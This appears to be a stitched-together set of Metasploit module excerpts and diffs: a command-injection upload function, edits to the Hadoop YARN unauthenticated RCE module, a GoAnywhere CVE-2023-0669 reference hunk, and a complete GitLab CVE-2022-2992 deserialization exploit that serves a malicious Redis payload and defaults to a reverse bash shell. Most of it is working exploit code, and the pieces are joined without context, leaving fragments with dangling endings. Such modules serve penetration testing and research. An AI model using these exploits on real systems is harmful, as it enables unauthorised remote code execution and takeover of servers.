def send_exploit(cmd)
filename = Rex::Text.rand_text_alphanumeric(5..12)
fileparam = Rex::Text.rand_text_alphanumeric(5..12)
input = Rex::Text.rand_text_alphanumeric(5..12)
# sessionid utilized later needs to be set to length
# of 16 or exploit will fail. Tested with lengths
# 14-17
sessionid = Rex::Text.rand_text_alphanumeric(16)
filepath = '/tmp/upload.input' # This file must exist and be writeable by www-data so we just use the temporary upload file to prevent issues.
pathparam = 'Configuration'
destination = "'; " + cmd + ' #'
multipart_form = Rex::MIME::Message.new
multipart_form.add_part(filepath, nil, nil, 'form-data; name="file.path"')
multipart_form.add_part(filename, nil, nil, 'form-data; name="filename"')
multipart_form.add_part(pathparam, nil, nil, 'form-data; name="pathparam"')
multipart_form.add_part(fileparam, nil, nil, 'form-data; name="fileparam"')
multipart_form.add_part(destination, nil, nil, 'form-data; name="destination"')
multipart_form.add_part(input, 'application/octet-stream', nil, format('form-data; name="input"; filename="%<filename>s"', filename: filename))
# Escaping "/tmp/upload/" folder that does not contain any other permanent files
send_request_cgi({
'method' => 'POST',
'uri' => '/upload',
'ctype' => "multipart/form-data; boundary=#{multipart_form.bound}",
'headers' => {
'Cookie' => 'sessionid =../../www/index.html; sessionid=' + sessionid
},
'data' => multipart_form.to_s
}, 10)
end
def exploit
print_status("Executing #{target.name} for #{datastore['PAYLOAD']}")
case target['Type']
when :unix_cmd
execute_command(payload.encoded)
when :linux_dropper
execute_cmdstager(linemax: 120)
end
end
end
@@ -14,8 +14,8 @@ class MetasploitModule < Msf::Exploit::Remote
super(update_info(info,
'Name' => 'Hadoop YARN ResourceManager Unauthenticated Command Execution',
'Description' => %q{
This module uses built-in functionality to execute arbitrary commands on an unsecured Hadoop server which is not configured for strong
authentication, via Hadoop's standard ResourceManager REST API.
This module uses Hadoop's standard ResourceManager REST API to execute arbitrary commands on an unsecured Hadoop server.
Hadoop administrators should enable Kerberos authentication for these endpoints by changing the 'hadoop.security.authentication' setting in 'core-site.xml' from 'simple' (the default) to 'kerberos' before exposing the node to the network.
},
'License' => MSF_LICENSE,
'Author' =>
@@ -26,8 +26,11 @@ class MetasploitModule < Msf::Exploit::Remote
'References' =>
[
['URL', 'http://archive.hack.lu/2016/Wavestone%20-%20Hack.lu%202016%20-%20Hadoop%20safari%20-%20Hunting%20for%20vulnerabilities%20-%20v1.0.pdf'],
['URL', 'https://github.com/vulhub/vulhub/tree/master/hadoop/unauthorized-yarn']
# Note, there will never be a CVE for this issue, unless something radical changes in the CVE inclusion rules.
['URL', 'https://github.com/vulhub/vulhub/tree/master/hadoop/unauthorized-yarn'],
# Note, there will never be a CVE for this issue, since this is a misconfiguration by the administrator rather than a vulnerability in the software.
# Hadoop installations should always configure Kerberos authentication before being exposed to the network,
# since the default configuration does not require authentication.
['URL', 'https://hadoop.apache.org/docs/current/hadoop-project-dist/hadoop-common/SecureMode.html']
],
'Platform' => 'linux',
'Arch' => [ARCH_X86, ARCH_X64],
@@ -21,10 +21,12 @@ class MetasploitModule < Msf::Exploit::Remote
},
'Author' => [
'Ron Bowes', # Analysis and module
'Frycos (Florian Hauser)' # Discovery and analysis
],
'References' => [
['CVE', '2023-0669'],
['URL', 'https://attackerkb.com/topics/mg883Nbeva/cve-2023-0669/rapid7-analysis'],
['URL', 'https://frycos.github.io/vulns4free/2023/02/06/goanywhere-forgotten.html']
],
'DisclosureDate' => '2023-02-01',
'License' => MSF_LICENSE,
@@ -0,0 +1,256 @@
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking
prepend Msf::Exploit::Remote::AutoCheck
include Msf::Exploit::Git::SmartHttp
include Msf::Exploit::Remote::HttpClient
include Msf::Exploit::Remote::HttpServer
include Msf::Exploit::Remote::HTTP::Gitlab
include Msf::Exploit::RubyDeserialization
attr_accessor :cookie
def initialize(info = {})
super(
update_info(
info,
'Name' => 'GitLab GitHub Repo Import Deserialization RCE',
'Description' => %q{
An authenticated user can import a repository from GitHub into GitLab.
If a user attempts to import a repo from an attacker-controlled server,
the server will reply with a Redis serialization protocol object in the nested
`default_branch`. GitLab will cache this object and
then deserialize it when trying to load a user session, resulting in RCE.
},
'Author' => [
'William Bowling (vakzz)', # discovery
'Heyder Andrade <https://infosec.exchange/@heyder>', # msf module
'RedWay Security <https://infosec.exchange/@redway>', # PoC
],
'References' => [
['URL', 'https://hackerone.com/reports/1679624'],
['URL', 'https://github.com/redwaysecurity/CVEs/tree/main/CVE-2022-2992'], # PoC
['URL', 'https://gitlab.com/gitlab-org/gitlab/-/issues/371884'],
['CVE', '2022-2992']
],
'DisclosureDate' => '2022-10-06',
'License' => MSF_LICENSE,
'Platform' => ['unix', 'linux'],
'Arch' => [ARCH_CMD],
'Privileged' => false,
'Stance' => Msf::Exploit::Stance::Aggressive,
'Targets' => [
[
'Unix Command',
{
'Platform' => 'unix',
'Arch' => ARCH_CMD,
'Type' => :unix_cmd,
'DefaultOptions' => {
'PAYLOAD' => 'cmd/unix/reverse_bash'
}
}
]
],
'DefaultTarget' => 0,
'Notes' => {
'Stability' => [CRASH_SAFE],
'Reliability' => [REPEATABLE_SESSION],
'SideEffects' => [IOC_IN_LOGS]
}
)
)
register_options(
[
OptString.new('USERNAME', [true, 'The username to authenticate as', nil]),
OptString.new('PASSWORD', [true, 'The password for the specified username', nil]),
OptInt.new('IMPORT_DELAY', [true, 'Time to wait from the import task before try to trigger the payload', 5]),
OptAddress.new('URIHOST', [false, 'Host to use in GitHub import URL'])
]
)
deregister_options('GIT_URI')
end
def group_name
@group_name ||= Rex::Text.rand_text_alpha(8..12)
end
def api_token
@api_token ||= gitlab_create_personal_access_token
end
def session_id
@session_id ||= Rex::Text.rand_text_hex(32)
end
def redis_payload(cmd)
serialized_payload = generate_ruby_deserialization_for_command(cmd, :net_writeadapter)
gitlab_session_id = "session:gitlab:#{session_id}"
# A RESP array of 3 elements (https://redis.io/docs/reference/protocol-spec/)
# The command set
# The gitlab session to load the payload from
# The Payload itself. A Ruby serialized command
"*3\r\n$3\r\nset\r\n$#{gitlab_session_id.size}\r\n#{gitlab_session_id}\r\n$#{serialized_payload.size}\r\n#{serialized_payload}"
end
def check
self.cookie = gitlab_sign_in(datastore['USERNAME'], datastore['PASSWORD']) unless cookie
vprint_status('Trying to get the GitLab version')
version = Rex::Version.new(gitlab_version)
return CheckCode::Safe("Detected GitLab version #{version} which is not vulnerable") unless (
version.between?(Rex::Version.new('11.10'), Rex::Version.new('15.1.6')) ||
version.between?(Rex::Version.new('15.2'), Rex::Version.new('15.2.4')) ||
version.between?(Rex::Version.new('15.3'), Rex::Version.new('15.3.2'))
)
report_vuln(
host: rhost,
name: name,
refs: references,
info: [version]
)
return CheckCode::Appears("Detected GitLab version #{version} which is vulnerable.")
rescue Msf::Exploit::Remote::HTTP::Gitlab::Error::AuthenticationError
return CheckCode::Detected('Could not detect the version because authentication failed.')
rescue Msf::Exploit::Remote::HTTP::Gitlab::Error => e
return CheckCode::Unknown("#{e.class} - #{e.message}")
end
def cleanup
super
return unless @import_id
gitlab_delete_group(@group_id, api_token)
gitlab_revoke_personal_access_token(api_token)
gitlab_sign_out
rescue Msf::Exploit::Remote::HTTP::Gitlab::Error => e
print_error("#{e.class} - #{e.message}")
end
def exploit
if Rex::Socket.is_internal?(srvhost_addr)
print_warning("#{srvhost_addr} is an internal address and will not work unless the target GitLab instance is using a non-default configuration.")
end
setup_repo_structure
start_service({
'Uri' => {
'Proc' => proc do |cli, req|
on_request_uri(cli, req)
end,
'Path' => '/'
}
})
execute_command(payload.encoded)
rescue Timeout::Error => e
fail_with(Failure::TimeoutExpired, e.message)
end
def execute_command(cmd, _opts = {})
vprint_status("Executing command: #{cmd}")
# due to the AutoCheck mixin and the keep_cookies option, the cookie might be already set
self.cookie = gitlab_sign_in(datastore['USERNAME'], datastore['PASSWORD']) unless cookie
vprint_status("Session ID: #{session_id}")
vprint_status("Creating group #{group_name}")
# We need group id for the cleanup method
@group_id = gitlab_create_group(group_name, api_token)['id']
fail_with(Failure::UnexpectedReply, 'Failed to create a new group') unless @group_id
@redis_payload = redis_payload(cmd)
# import a repository from GitHub
vprint_status('Importing a repository from GitHub')
@import_id = gitlab_import_github_repo(
group_name: group_name,
github_hostname: get_uri,
api_token: api_token
)['id']
fail_with(Failure::UnexpectedReply, 'Failed to import a repository from GitHub') unless @import_id
# wait for the import tasks to finish
select(nil, nil, nil, datastore['IMPORT_DELAY'])
# execute the payload
send_request_cgi({
'uri' => normalize_uri(target_uri.path, group_name),
'method' => 'GET',
'keep_cookies' => false,
'cookie' => "_gitlab_session=#{session_id}"
})
rescue Msf::Exploit::Remote::HTTP::Gitlab::Error => e
fail_with(Failure::Unknown, "#{e.class} - #{e.message}")
end
def setup_repo_structure
blob_object_fname = "#{Rex::Text.rand_text_alpha(5..10)}.txt"
blob_data = Rex::Text.rand_text_alpha(5..12)
blob_object = Msf::Exploit::Git::GitObject.build_blob_object(blob_data)
tree_data =
{
mode: '100644',
file_name: blob_object_fname,
sha1: blob_object.sha1
}
tree_object = Msf::Exploit::Git::GitObject.build_tree_object(tree_data)
commit_obj = Msf::Exploit::Git::GitObject.build_commit_object(tree_sha1: tree_object.sha1)
git_objs = [ commit_obj, tree_object, blob_object ]
@refs =
{
'HEAD' => 'refs/heads/main',
'refs/heads/main' => commit_obj.sha1
}
@packfile = Msf::Exploit::Git::Packfile.new('2', git_objs)
end
# Handle incoming requests from GitLab server
def on_request_uri(cli, req)
super
headers = { 'Content-Type' => 'application/json' }
data = {}.to_json
case req.uri
when %r{/api/v3/rate_limit}
headers.merge!({
'X-RateLimit-Limit' => '100000',
'X-RateLimit-Remaining' => '100000'
})
when %r{/api/v3/repositories/(\w{1,20})}
id = Regexp.last_match(1)
name = Rex::Text.rand_text_alpha(8..12)
data = {
id: id,
name: name,
full_name: "#{name}/name",
clone_url: "#{get_uri.gsub(%r{/+$}, '')}/#{name}/public.git"
}.to_json
when %r{/\w+/public.git/info/refs}
data = build_pkt_line_advertise(@refs)
headers.merge!({ 'Content-Type' => 'application/x-git-upload-pack-advertisement' })
when %r{/\w+/public.git/git-upload-pack}
data = build_pkt_line_sideband(@packfile)
headers.merge!({ 'Content-Type' => 'application/x-git-upload-pack-result' })
when %r{/api/v3/repos/\w+/\w+}
bytes_size = rand(3..8)
data = {
'default_branch' => {
'to_s' => {
'bytesize' => bytes_size,
'to_s' => "+#{Rex::Text.rand_text_alpha_lower(bytes_size)}\r\n#{@redis_payload}"
# using a simple string format for RESP
}
}
}.to_json
end
send_response(cli, data, headers)
end
end